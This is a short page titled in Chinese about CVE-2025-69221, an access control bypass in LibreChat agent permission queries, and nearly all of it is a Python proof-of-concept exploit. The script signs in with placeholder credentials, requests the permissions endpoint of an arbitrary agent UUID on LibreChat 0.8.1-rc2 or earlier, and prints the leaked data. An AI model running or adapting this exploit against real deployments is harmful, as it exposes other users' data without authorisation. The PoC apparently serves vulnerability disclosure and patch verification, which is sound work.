CVE-2025-69221: LibreChat Agent权限查询访问控制绕过漏洞

import requests import json # CVE-2025-69221 PoC - LibreChat Agent Permission Bypass # Target: LibreChat <= 0.8.1-rc2 TARGET_URL = "http://target-host.com" LOGIN_ENDPOINT = f"{TARGET_URL}/api/auth/signin" AGENT_PERMISSIONS_ENDPOINT = f"{TARGET_URL}/api/agents/{{agent_id}}/permissions" def exploit_cve_2025_69221(): """ This PoC demonstrates the broken access control in LibreChat agent permission queries. An authenticated attacker can read permissions of arbitrary agents by knowing the agent ID. """ # Step 1: Authenticate with valid credentials credentials = { "email": "[email protected]", "password": "password123" } session = requests.Session() login_response = session.post(LOGIN_ENDPOINT, json=credentials) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Query arbitrary agent permissions using known agent ID # The vulnerability allows bypassing access control by directly specifying agent ID target_agent_id = "TARGET_AGENT_UUID_HERE" # Replace with target agent UUID headers = { "Content-Type": "application/json" } # This request bypasses access control - no ownership verification permissions_response = session.get( AGENT_PERMISSIONS_ENDPOINT.format(agent_id=target_agent_id), headers=headers ) if permissions_response.status_code == 200: permissions_data = permissions_response.json() print("[+] Permission bypass successful!") print(f"[+] Leaked permissions: {json.dumps(permissions_data, indent=2)}") return True else: print(f"[-] Request failed with status code: {permissions_response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_69221()